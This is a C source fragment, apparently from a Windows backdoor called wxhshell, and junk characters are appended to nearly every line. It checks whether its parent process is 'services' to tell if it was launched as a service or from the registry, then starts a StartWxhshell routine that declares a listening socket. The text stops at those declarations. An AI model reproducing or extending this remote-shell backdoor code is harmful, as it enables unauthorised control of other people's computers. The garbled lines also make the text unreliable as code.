DWORD PebBaseAddress; dS4z Oz"
DWORD AffinityMask; #~"IlBk\
DWORD BasePriority; ,aC}0t
ULONG UniqueProcessId; k4{|Xn
ULONG InheritedFromUniqueProcessId; j&'6|s{
} PROCESS_BASIC_INFORMATION; ZL\^J8PRK
PQ[?zNrSV
PROCNTQSIP NtQueryInformationProcess; RO,TNS~
%HoD)OJe
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jS##zC
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iC=>wrqY>
iBSg`"S^]C
HANDLE hProcess; Babzrt-
PROCESS_BASIC_INFORMATION pbi; ,.cR @5qI
>RkaFcq
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k1f<(@*`
if(NULL == hInst ) return 0; Af]zv~uM
TZt;-t`
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *YvtT(Gt
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f(D'qV T{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H/x0'
vxEi C:&]
if (!NtQueryInformationProcess) return 0; vjx'yh|
o?>0WSLlm
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @tm2Y%Y!
if(!hProcess) return 0; s)r!3HS
W6NhJ#M7
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %"A8Af**I
y1%OH#:duD
CloseHandle(hProcess); ?96r7C|
yV:8>9wE8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A&t8C8,
if(hProcess==NULL) return 0; JP<j4/
1n^N`lD8]6
HMODULE hMod; ;7:} iKU
char procName[255]; XKky-LeJ
unsigned long cbNeeded; IeYNTk&<
C`i#7zsH
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8fP2qj0
Eb[;nk?
CloseHandle(hProcess); -^m?%_<50l
";rXCH.
if(strstr(procName,"services")) return 1; // 以服务启动 )y*&&q
~Yk^(hl2
return 0; // 注册表启动 %"mI["{
} {. 9BG&
zU&Iy_Ke.
// 主模块 + m-88
int StartWxhshell(LPSTR lpCmdLine) k37?NoT
{ U?Jk
SOCKET wsl; g@>llve{
BOOL val=TRUE; #17 &rizl
int port=0; ;MGm,F,o
struct sockaddr_in door; 3?j:M]fR
EpF9&